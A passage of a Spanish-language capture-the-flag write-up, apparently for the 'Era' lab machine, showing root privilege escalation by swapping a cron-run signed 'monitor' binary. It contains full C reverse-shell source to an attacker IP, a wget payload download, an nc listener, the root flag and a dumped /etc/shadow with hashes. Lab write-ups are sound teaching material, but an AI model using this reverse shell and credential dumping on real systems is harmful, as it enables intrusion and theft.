drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs 17K Jul 31 05:08 monitor
-rw-rw---- 1 root devs 307 Jul 31 05:08 status.log
eric@era:/opt/AV/periodic-checks$ file monitor
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped
eric@era:/opt/AV/periodic-checks$ file status.log
status.log: ASCII text
eric@era:/opt/AV/periodic-checks$
|
Segun la fecha de cambio del archivo status.log parece ejecutarse un cronjob cada minuto sobre este archivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
eric@era:/opt/AV/periodic-checks$ ls -lah
total 32K
drwxrwxr-- 2 root devs 4.0K Jul 31 05:19 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs 17K Jul 31 05:19 monitor
-rw-rw---- 1 root devs 103 Jul 31 05:18 status.log
eric@era:/opt/AV/periodic-checks$ ls -lah
total 32K
drwxrwxr-- 2 root devs 4.0K Jul 31 05:19 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrw---- 1 root devs 17K Jul 31 05:19 monitor
-rw-rw---- 1 root devs 205 Jul 31 05:19 status.log
eric@era:/opt/AV/periodic-checks$ cat status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
eric@era:/opt/AV/periodic-checks$
eric@era:/opt/AV/periodic-checks$ ./monitor
./monitor
bash: ./monitor: Permission denied
eric@era:/opt/AV/periodic-checks$
|
Ejecutamos base64 sobre monitor para ejecutarlo localmente y vemos que muestra contenido similar al .log. Podria existir un cronjob que lo ejecute y envie el output al log.
1
2
3
4
|
❯ ./monitor
[*] System scan initiated...
[*] No threats detected. Shutting down...
❯
|
Eric es miembro del grupo devs por lo que puede realizar cambios a monitor.
1
2
3
|
eric@era:/opt/AV/periodic-checks$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
eric@era:/opt/AV/periodic-checks$
|
Intentamos con un “script” pero el log muestra la ejecucion de objcopy por lo que es probable que verifique el archivo antes de ejecutarlo.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
eric@era:/opt/AV/periodic-checks$ echo "/bin/bash" > monitor; chmod +x monitor
eric@era:/opt/AV/periodic-checks$ ls -lah
total 36K
drwxrwxr-- 2 root devs 4.0K Jul 31 05:24 .
drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 ..
-rwxrwxr-x 1 eric eric 10 Jul 31 05:24 monitor
-rwxrw---- 1 root devs 17K Jul 31 05:22 monitor.bak
-rw-rw---- 1 root devs 127 Jul 31 05:24 status.log
eric@era:/opt/AV/periodic-checks$ cat status.log
objcopy: '/opt/AV/periodic-checks/monitor': No such file
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
eric@era:/opt/AV/periodic-checks$
|
Creamos un ejecutable para una shell inversa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
❯ cat reverse.c
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
int main() {
int sock;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(1336);
server.sin_addr.s_addr = inet_addr("10.10.14.8");
sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock, (struct sockaddr *)&server, sizeof(server));
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl("/bin/sh", "sh", NULL);
return 0;
}
❯
❯ gcc -o reverse reverse.c
❯ ll
.rwxrwxr-x kali kali 16 KB Wed Jul 30 23:20:15 2025 monitor
.rwxrwxr-x kali kali 16 KB Wed Jul 30 23:28:51 2025 reverse
.rw-rw-r-- kali kali 486 B Wed Jul 30 23:27:59 2025 reverse.c
❯
|
El log muestra que el archivo no esta firmado.
1
2
3
4
5
6
7
8
|
eric@era:/opt/AV/periodic-checks$ cat status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: can't dump section '.text_sig' - it does not exist: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
eric@era:/opt/AV/periodic-checks$
|
Elf Binary Signer
Utilizamos linux-elf-binary-signer para firmar el ejecutable.
1
2
3
4
5
6
7
8
9
10
|
❯ ./elf-sign
Usage: elf-sign [-h] <hash-algo> <key> <x509> <elf-file> [<dest-file>]
-h, display the help and exit
Sign the <elf-file> to an optional <dest-file> with
private key in <key> and public key certificate in <x509>
and the digest algorithm specified by <hash-algo>. If no
<dest-file> is specified, the <elf-file> will be backup to
<elf-file>.old, and the original <elf-file> will be signed.
❯
|
Especificamos la clave privada que encontramos anteriormente.
1
2
3
4
5
6
7
8
9
10
|
❯ linux-elf-binary-signer/elf-sign sha256 ../files/signing/key.pem ../files/signing/key.pem reverse monitor
--- 64-bit ELF file, version 1 (CURRENT), little endian.
--- 32 sections detected.
--- [Library dependency]: libc.so.6
--- Section 0014 [.text] detected.
--- Length of section [.text]: 411
--- Signature size of [.text]: 458
--- Writing signature to file: .text_sig
--- Removing temporary signature file: .text_sig
❯
|
Shell
Nuevamente descargamos el archivo firmado esperando su ejecucion.
1
2
3
4
5
6
7
8
9
|
eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak; wget -q 10.10.14.8/reverse -O monitor ; chmod +x monitor
eric@era:/opt/AV/periodic-checks$ ll
total 68
drwxrwxr-- 2 root devs 4096 Jul 31 05:45 ./
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 ../
-rwxrwxr-x 1 eric eric 17082 Jul 31 05:43 monitor*
-rw-rw-r-- 1 eric eric 17080 Jul 31 05:45 monitor.bak
-rw-rw---- 1 root devs 122 Jul 31 05:45 status.log
eric@era:/opt/AV/periodic-checks$
|
Tras unos segundos el archivo se ejecuto y logramos obtener una shell como root y la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
❯ rlwrap nc -lvp 1336
listening on [any] 1336 ...
connect to [10.10.14.8] from era.htb [10.10.11.79] 49854
whoami
root
cd /root
ls
answers.sh
clean_monitor.sh
initiate_monitoring.sh
monitor
root.txt
text_sig_section.bin
cat root.txt
b64478736be9b1e69aa72aa24abbe1eb
|
Cronjob Monitor
A traves del script initiate_monitoring.sh vemos que se verifica la firma del archivo monitor.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
cat initiate_monitoring.sh
#!/bin/bash
# Paths
BINARY="/opt/AV/periodic-checks/monitor"
SECTION=".text_sig"
EXTRACTED_SECTION="text_sig_section.bin"
ORGANIZATION="Era Inc."
EMAIL="yurivich@era.com"
# Extract the .text_sig section
objcopy --dump-section "$SECTION"="$EXTRACTED_SECTION" "$BINARY"
# Parse the ASN.1 structure
OUTPUT=$(openssl asn1parse -inform DER -in "$EXTRACTED_SECTION" 2>/dev/null)
if [[ $? -ne 0 ]]; then
echo "[ERROR] Executable not signed. Tampering attempt detected. Skipping."
rm -f "$EXTRACTED_SECTION"
exit 1
fi
# Check for the organization name
ORG_CHECK=$(echo "$OUTPUT" | grep -oP "(?<=UTF8STRING :)$ORGANIZATION")
# Check for the email address
EMAIL_CHECK=$(echo "$OUTPUT" | grep -oP "(?<=IA5STRING :)$EMAIL")
# Decision logic
if [[ "$ORG_CHECK" == "$ORGANIZATION" && "$EMAIL_CHECK" == "$EMAIL" ]]; then
$BINARY
echo "[SUCCESS] No threats detected."
ALLOW=1
else
echo "[FAILURE] Binary has been tampered with. Skipping."
ALLOW=0
fi
# Cleanup
rm -f "$EXTRACTED_SECTION"
# Exit with appropriate status
exit $ALLOW
|
Dump Hashes
Realizamos la lectura del archivo /etc/shadow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
cat /etc/shadow
root:$y$j9T$KS466bqZgScjpShqW.M5R.$ZJiDypD1.tHrT5D3AeWhnsIUp2rIrTnkRp4jrV5TjgB:19983:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
usbmux:*:19983:0:99999:7:::
sshd:*:19983:0:99999:7:::
eric:$6$.ki8iFVEyU3nItnU$hbR6van4JaXfZTkvXIynNfMIZMp4YCeU9f/jRR4xfdtCOceIJxwDHKrKyjMZtb2juxWsE6GcHJQAxfat7m12a/:19983:0:99999:7:::
ftp:*:20065:0:99999:7:::
yuri:$y$j9T$nb4GkUIQQFAvxZEOhZ0Dk0$WvwIZQLgnstRTdMheX1tug.aHi0TrwGcFJB93k8DcA6:20268:0:99999:7:::
_laurel:!:20271::::::
|